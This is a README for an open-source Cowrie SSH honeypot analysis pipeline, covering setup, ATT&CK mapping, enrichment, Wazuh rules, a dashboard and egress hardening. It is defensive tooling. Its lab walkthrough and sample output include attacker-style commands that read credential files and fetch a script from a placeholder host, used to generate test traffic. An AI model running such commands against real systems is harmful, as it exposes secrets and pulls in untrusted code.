Surya Kundal is the analysis layer for a Cowrie SSH honeypot. It reconstructs each attacker visit as a structured session, enriches source IPs and captured files with threat intelligence, maps behaviour to MITRE ATT&CK techniques, raises SIEM alerts through Wazuh, and presents the result in a read-only web dashboard. It also ships a deception kit that makes the honeypot harder to recognise.
The dashboard overview on the live deployment after two days: real attacker traffic, with the maintainer's own test sessions hidden.
- Features
- Why this exists
- Architecture
- Quick start
- Releases
- Usage
- Configuration
- Components
- Documentation
- Design and engineering
- Limitations
- Security
- Roadmap
- Contributing
- License and acknowledgements
A stock honeypot produces a log, not an answer. Raw cowrie.json is a stream of low-level events; an analyst wants to know who came, what they tried, whether it was the same actor as last week, and what to block. Surya Kundal closes that gap with a small, auditable pipeline that runs on a single free-tier server, and it is deliberately honest about what it cannot do (see Limitations).
| Area | What it does |
|---|---|
| Session reconstruction | Groups Cowrie's event stream into one record per visit: credentials, commands, files downloaded and uploaded (SHA-256), port-forwarding attempts, timing, SSH client version, HASSH fingerprint. |
| Storage | SQLite with Alembic migrations. Imports are idempotent and failure-isolated; a live watcher follows the log across rotation and restarts. |
| Enrichment | Offline geolocation and ASN (MaxMind GeoLite2), AbuseIPDB score and Tor exit check per IP, VirusTotal verdict per file. Each indicator is looked up once, and daily budgets stay within free-tier limits. |
| ATT&CK mapping | 70+ reviewable rules map commands, logins, transfers and tunnelling to techniques. Each rule carries positive and negative examples, and every technique ID is validated against the vendored ATT&CK Enterprise v19 catalogue. |
| SIEM integration | Wazuh rules generated from the same ATT&CK rules, so the database and the SIEM agree. Includes brute-force, rapid-reconnaissance and honeypot-fingerprinting alerts. |
| Dashboard | Zoomable attack map with country and US state borders and per-address details (city, state, network, abuse score), session-depth funnel, fingerprinting-attempt panel, ATT&CK matrix, session drill-down and optional Wazuh alerts. Server-rendered, read-only, strict Content-Security-Policy. |
| Campaigns and IOC export | Groups sessions that share a payload, script or tooling fingerprint, with the evidence for each link. Exports indicators (CSV, STIX 2.1, blocklist, nftables) with confidence scores; addresses that were only typed in commands are labelled unverified and need several independent sources. |
| Your own traffic stays out | Sessions from private, loopback and configured networks (INTERNAL_NETWORKS) are tagged and excluded from the dashboard, exports and campaigns, so testing never pollutes real data. |
| Egress control | cowrie/egress.sh blocks everything the honeypot could use to attack others or reach your network, fails closed while containers rebuild, and verifies itself from inside the container. |
| Deception kit | Hardened Cowrie configuration, a believable Debian filesystem and login policy, decoy credentials and keys that draw operators in, and a documented threat model of what still gives a honeypot away. |
flowchart TD
A[Attacker] --> B[Cowrie SSH honeypot]
B -- cowrie.json --> C[Watcher and log parser]
C --> D[(SQLite)]
D --> E[ATT&CK mapper]
D --> F[Enrichment worker]
F -. GeoLite2, AbuseIPDB, Tor, VirusTotal .-> D
E --> D
D --> G[Web dashboard]
B -- cowrie.json --> H[Wazuh manager and rules]
H -- alert export --> G
Everything from the log parser onward is code in this repository. Cowrie is used unmodified as the capture engine; the deception kit only adds configuration and data files.
Two ways to run it: the lab path below (Docker, about five minutes, nothing leaves your machine) or the from source path further down.
You attack your own honeypot from a second machine (for example Kali) and watch it appear on the dashboard. Do this on a lab network, not on the open internet.
| You need | Notes |
|---|---|
| A Linux machine or VM to host it (the honeypot host) | 2 GB RAM, 5 GB disk, any distribution |
| Docker Engine with Compose v2 | docker compose version should print a version |
| A second machine on the same network | Kali, or any computer with an SSH client |
1. On the honeypot host: get the code and set two values.
git clone https://github.com/TurlaFSB/SuryaKundal.git && cd SuryaKundal
cp .env.example .env && chmod 600 .envEdit .env (the API keys can stay empty) and set:
DASHBOARD_TOKEN=choose-a-password-of-12-or-more-characters
COWRIE_BIND=0.0.0.0 # lets your other machine reach the honeypot; the default is localhost only
DASHBOARD_SHOW_INTERNAL=1 # lab traffic comes from private addresses, which are hidden by default2. Start it.
docker compose --profile honeypot up -d --build
docker compose ps # cowrie, pipeline and dashboard should all become "healthy"3. From the second machine, attack it. Weak root passwords are accepted on purpose (123456, toor, admin):
ssh -p 2222 root@<honeypot-host-ip>
# inside: uname -a; cat /root/.aws/credentials; ls -la /root; wget http://example.com/x.sh4. Watch it. The dashboard listens on the honeypot host's 127.0.0.1:8080 only. From the second machine, open a tunnel and browse to http://127.0.0.1:8081 (any username, the password is your DASHBOARD_TOKEN):
ssh -L 8081:127.0.0.1:8080 <user>@<honeypot-host-ip>You should see your session on the overview, the commands you typed on its page, and ATT&CK techniques such as T1082 (system information) and T1552.001 (credentials in files). Allow up to a minute for it to appear. Check the whole pipeline at any time with docker compose exec pipeline surya-kundal doctor.
Stop and clean up: docker compose --profile honeypot down stops everything and keeps the data; add -v to delete the captured sessions as well.
Before exposing it to the internet, read docs/THREAT_MODEL.md, apply docs/EGRESS.md so a compromised honeypot cannot attack anyone, and follow docs/DEPLOYMENT_AWS.md for a cloud server.
Requirements: Python 3.11 or newer and a running Cowrie instance (see cowrie/README.md for the settings used here).
git clone https://github.com/TurlaFSB/SuryaKundal.git
cd SuryaKundal
python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dashboard]"
cp .env.example .env && chmod 600 .env # then fill in what you have; every key is optional
surya-kundal geoip update # one-off: fetch the GeoLite2 databases
surya-kundal run # capture, ATT&CK mapping and enrichment in one processIn a second terminal:
surya-kundal dashboard # http://127.0.0.1:8080The whole stack runs as hardened containers (unprivileged users, read-only root filesystems, no Linux capabilities, resource limits). Wazuh runs separately.
cp .env.example .env && chmod 600 .env # set DASHBOARD_TOKEN (12+ characters)
docker compose --profile honeypot up -d --build
docker compose ps # all three services should become "healthy"
ssh -p 2222 root@127.0.0.1 # try the honeypot (weak passwords are accepted on purpose)- Honeypot (
cowrie) is Cowrie 3.1.1, pinned to an exact commit, with the deception kit applied at every start. The persona, host keys and boot time live in thecowrie_statevolume, so a restart does not change what a scanner sees. It listens on127.0.0.1:2222unless you setCOWRIE_BIND; readdocs/THREAT_MODEL.mdand applydocs/EGRESS.mdbefore exposing it;docs/DEPLOYMENT_AWS.mdis the step-by-step for a cloud server.COWRIE_POLICY=stealthaccepts three exact logins instead of a few dozen weak ones. - Pipeline and dashboard read the honeypot's log through a shared read-only volume. To analyse a Cowrie that runs elsewhere, set
COWRIE_LOG_DIRand omit the profile:docker compose up -d --build. - Only the pipeline receives
.env(API keys for enrichment). The honeypot and dashboard get no other secrets. - The dashboard is published on
http://127.0.0.1:8080only; the password isDASHBOARD_TOKEN.docker compose logs -f cowriefollows the honeypot.
Tagged versions publish container images to GitHub Container Registry. Each image is signed with keyless Cosign and ships a CycloneDX SBOM, so you can check what you run:
cosign verify ghcr.io/turlafsb/surya-kundal:<version> \
--certificate-identity-regexp '^https://github.com/TurlaFSB/SuryaKundal/' \
--certificate-oidc-issuer https://token.actions.githubusercontent.comSee the CHANGELOG for what changed in each version.
surya-kundal run # the full pipeline; stop with Ctrl+C
surya-kundal ingest # import an existing Cowrie log
surya-kundal watch # follow the log live; resumes where it stopped
surya-kundal map # map sessions to ATT&CK techniques
surya-kundal enrich # geolocation and threat intelligence
surya-kundal list # recent sessions with country, abuse score and Tor flag
surya-kundal techniques # techniques seen, most common first
surya-kundal show <session-id> # one session: commands with their techniques
surya-kundal dashboard # read-only web UI
surya-kundal doctor # check the installation; exit code 1 on failure
surya-kundal wazuh-rules # generate the Wazuh rules
surya-kundal campaigns build|list|show # group sessions into campaigns, with evidence
surya-kundal export # indicators of compromise (CSV, STIX 2.1, blocklist, nftables)Example output:
$ surya-kundal show 051b
Session 051b29d11c6c from 203.0.113.7 at 2026-10-05 07:11:23 UTC
login rejected: root/123456
login accepted: root/apple
T1078.001 login-default-account (medium): login accepted for 'root'
$ whoami
-> T1033 discovery-current-user (high)
$ cat /etc/passwd
-> T1087.001 discovery-local-accounts (high)
$ wget http://example.com/test/sh
-> T1105 c2-download (high)
surya-kundal export turns the database into indicators other tools can use: attacker addresses, file hashes and download URLs, each with first and last sighting, a confidence score, geography and the ATT&CK techniques seen. See docs/IOC_EXPORT.md for the formats, the confidence rules and the safety rules.
Before exposing the honeypot, lock down what it can reach: docs/EGRESS.md (cowrie/egress.sh). Running it unattended: docs/OPERATIONS.md covers backup and restore, retention (surya-kundal prune) and Prometheus metrics.
surya-kundal campaigns groups sessions that share a payload, script or tooling fingerprint, with the evidence for each group; see docs/CAMPAIGNS.md.
Two harnesses in evaluation/ give numbers instead of claims:
- ATT&CK mapper: 105 hand-labelled commands; first run precision 0.90, recall 0.93, then fixed. See
docs/MAPPER_ACCURACY.md. - Honeypot deception: 48 probes grouped by attacker class. Stock Cowrie passes 12, with the kit 35, which is every check configuration can fix. See
docs/DECEPTION_TESTING.md.
surya-kundal export --format stix --output iocs.json # STIX 2.1 for MISP, OpenCTI and others
surya-kundal export --format nftables --output block.nft # firewall set whose entries expire
surya-kundal export --format blocklist --exclude 203.0.113.0/24Settings come from the environment or an untracked .env file. Every variable is optional; features whose keys are missing are skipped.
| Variable | Purpose | Default |
|---|---|---|
COWRIE_LOG_PATH |
Cowrie JSON log to read | ~/cowrie/var/log/cowrie/cowrie.json |
DATABASE_URL |
SQLAlchemy URL for the database | sqlite:///data/surya_kundal.db |
ABUSEIPDB_API_KEY |
Enables AbuseIPDB scoring | unset |
VIRUSTOTAL_API_KEY |
Enables VirusTotal file verdicts | unset |
MAXMIND_ACCOUNT_ID, MAXMIND_LICENSE_KEY |
GeoLite2 download credentials | unset |
GEOIP_DB_DIR |
GeoLite2 database directory | data/geoip |
TOR_EXIT_LIST_PATH |
Cached Tor exit list | data/tor_exit_nodes.txt |
WAZUH_ALERTS_PATH |
Wazuh alert export shown on the dashboard | data/wazuh/wazuh_alerts.jsonl |
DASHBOARD_TOKEN |
Dashboard password; required to listen beyond localhost | unset |
LOG_LEVEL |
Logging verbosity | INFO |
A small, server-rendered Flask application served by waitress. It is read-only by construction: the database is opened read-only (SQLite refuses every write and nothing is created at startup), and the app has no write routes. Everything an attacker typed is HTML-escaped and stripped of control and invisible characters, and the Content-Security-Policy forbids inline script, inline style and external resources. It listens on localhost unless you pass --host, and the command refuses a non-local host unless DASHBOARD_TOKEN (at least 12 characters) is set; the token is then the HTTP Basic password, with wrong guesses throttled per address. Without a token, requests for any host name other than localhost are refused, which blocks DNS-rebinding. The server is plain HTTP, so put it behind a TLS reverse proxy before exposing it. The overview is cached for 15 seconds, and very large sessions are truncated on screen.
wazuh/ contains the generated rules, a manager-only Docker Compose file, sample events and logtest.sh, which verifies every sample against a real manager. Rules are tagged with ATT&CK techniques and verified on Wazuh 4.14.7. wazuh/export-alerts.sh copies the alerts into data/wazuh/, which the dashboard container reads (create the folder once with mkdir -p data/wazuh). The manager wants about 4 GB of RAM, so on a small cloud instance run it on another machine.
cowrie/ makes a stock Cowrie present as one consistent Debian 12 host: realistic uptime, /proc, package and login history, plausible credentials policy and command output. cowrie/FINGERPRINTING.md is a candid threat model: it lists what still identifies a honeypot to a capable adversary, so the kit raises the cost of detection rather than claiming invisibility.
Commands are split into simple commands (respecting quotes and bash -c nesting), stripped of wrappers such as sudo and absolute paths, and matched against rules.toml. Session-level evidence maps as well: repeated failed logins to password guessing, accepted default-account logins, file transfers to ingress tool transfer, port forwarding to proxy use. Sessions are re-mapped automatically when their activity or the rules change.
| Table | One row per | Key fields |
|---|---|---|
sessions |
attacker visit | Cowrie session ID, source IP, start and end, duration, SSH client version, HASSH |
logins |
credential attempt | username, password, success flag |
commands |
command typed | command text, timestamp |
downloads |
file fetched by the attacker | URL, SHA-256 |
uploads |
file sent by the attacker (SFTP/SCP) | filename, destination, SHA-256 |
tunnel_requests |
port-forwarding attempt | destination and origin address and port |
ip_geo |
attacker IP | country, city, coordinates, ASN and organisation |
ip_intel |
IP per provider | AbuseIPDB confidence score, Tor exit flag, raw payload |
file_intel |
file hash per provider | VirusTotal detections, engine count, threat label |
technique_matches |
rule that fired | technique and tactics, rule ID, confidence, evidence, linked command |
session_mappings |
mapped session | rule set and ATT&CK version that produced the matches |
ingest_offsets |
followed log file | path, inode and saved read position |
src/surya_kundal/
parser/ Cowrie log parsing
database/ SQLAlchemy models, engine, storage, Alembic migrations
enrichment/ GeoIP, AbuseIPDB, VirusTotal, Tor list, enrichment pass
mapping/ ATT&CK catalogue, rules.toml, mapping engine
dashboard/ Read-only Flask web UI (queries, app, templates, static)
watcher.py Live log following
service.py The one-process pipeline behind `surya-kundal run`
wazuh.py Wazuh rule generator
config.py Settings (environment and .env)
textsafe.py Safe handling of attacker-controlled text
cli.py The surya-kundal command
wazuh/ Generated rules, manager compose file, samples, logtest
cowrie/ Deception kit and threat model
docs/ Threat model and images used in this README
tests/ Unit, property-based, migration, dashboard and CLI tests
- Additive, idempotent storage. Sessions are merged, never rewritten. Importing a log twice creates no duplicates, a session saved mid-attack is completed when its closing events arrive, and row IDs stay stable. Unique constraints enforce event identity in the database itself.
- Versioned schema. Alembic migrations, a test that fails when a model changes without one, and a clear refusal (not a stack trace) for databases from an incompatible older version.
- A watcher built for real log files. It handles rotation, truncation, half-written lines and a missing log, saves its read position, retries failed writes a bounded number of times and shuts down cleanly on
SIGINTandSIGTERM. - Attacker input is hostile. Output is escaped before it reaches a terminal or a browser, and the mapper bounds the size of everything it analyses so crafted input cannot cause pathological regular-expression run time. Property-based tests (Hypothesis) feed arbitrary text, JSON and control characters to the parser, mapper and sanitiser.
- Free-tier discipline. Each IP and hash is queried once and cached; budgets are persisted so they survive restarts; a provider that reports its limit stops being called; one failure never blocks the rest.
- Secrets. Read only from the environment or an untracked
.env. HTTP clients never log request URLs, and the MaxMind downloader does not forward credentials across redirects. - Time and integrity. Timezone-aware UTC throughout, foreign keys enforced, WAL mode so a reader can work while the importer writes.
- Quality gates in CI. On every push: the test suite on Python 3.11, 3.13 and 3.14 with a 90% coverage floor (currently about 95%), ruff lint and format including security rules, strict mypy, a wheel build exercised from a clean environment,
pip-auditand CodeQL. Dependabot keeps dependencies current.
| Guide | Read it when |
|---|---|
docs/DEPLOYMENT_AWS.md |
putting the honeypot on a cloud server, step by step |
docs/EGRESS.md |
restricting what the honeypot can reach (read before exposing it) |
docs/OPERATIONS.md |
backups, retention, metrics, your own traffic |
docs/THREAT_MODEL.md |
understanding the platform's risks and what still gives a honeypot away |
docs/IOC_EXPORT.md |
sharing indicators with other tools |
docs/CAMPAIGNS.md |
how sessions are grouped, and what does not link them |
docs/MAPPER_ACCURACY.md, docs/DECEPTION_TESTING.md |
the measured results |
wazuh/README.md, cowrie/README.md |
the SIEM rules and the honeypot kit |
- ATT&CK mapping is pattern matching, not a shell interpreter. It does not follow variables or decode payloads, and a rule's confidence describes how specific its pattern is, not how dangerous the command is.
- Wazuh cannot split command lines, so its rules are a coarser view than the database mapping. The database is the complete record.
- Cowrie is an emulation. A capable adversary can still recognise it; see
cowrie/FINGERPRINTING.mdfor the residual tells. - Egress is blocked by default, so a malware download is recorded as an attempted fetch (the address) and not as a captured file.
capturesmode, described indocs/EGRESS.md, allows controlled retrieval. - GeoLite2 locations are approximate, and the project has not yet been run against real internet traffic (see the roadmap).
Report vulnerabilities privately as described in SECURITY.md; the platform's own risks are analysed in docs/THREAT_MODEL.md. Operating notes:
- Run the honeypot on an isolated host, never next to real services.
- Restrict the honeypot host's outbound traffic: Cowrie performs real downloads when an attacker runs
wget. - Honeypot logs, captured malware, databases and
.envfiles are git-ignored. Treat captured files as live malware. - Keep the dashboard on localhost, or set
DASHBOARD_TOKENand place it behind TLS.
| Phase | Scope | State |
|---|---|---|
| 0 | Repository, tests, CI | Done |
| 1 | Cowrie capture and log parser | Done |
| 2 | Database layer and live watcher | Done |
| 3 | Threat-intelligence enrichment | Done |
| 4 | MITRE ATT&CK mapping engine | Done |
| 5 | Wazuh rules | Done (verified on Wazuh 4.14.7) |
| 6 | Web dashboard | Done |
| 7 | Docker Compose for the full stack | Done: pipeline, dashboard and honeypot containers, image scanning, SBOM |
| 8 | Cloud deployment and real-world data collection | In progress: deployed on a hardened AWS instance and recording real attacks; v0.2.0 released |
| 9 | Write-up and demonstration | Planned |
Only free tiers and free offline datasets are used; no paid service is required.
Issues and pull requests are welcome; see CONTRIBUTING.md and the CHANGELOG. Before opening a pull request, run the same checks as CI:
pip install -e ".[dev]"
ruff format --check . && ruff check . && mypy && pytestNew ATT&CK rules belong in rules.toml with at least one example that must match and one that must not; after editing it, regenerate the Wazuh rules with surya-kundal wazuh-rules --output wazuh/rules/surya_kundal_cowrie_rules.xml (CI fails if the committed file is stale).
Released under the MIT License.
- Cowrie, the honeypot used as the capture engine.
- This product includes GeoLite2 data created by MaxMind. The databases are git-ignored and must not be redistributed.
- MITRE ATT&CK(R) is a registered trademark of The MITRE Corporation. Technique data is from the Enterprise ATT&CK dataset, (c) The MITRE Corporation, reproduced with permission.
- Wazuh, AbuseIPDB and VirusTotal provide the SIEM and threat-intelligence integrations.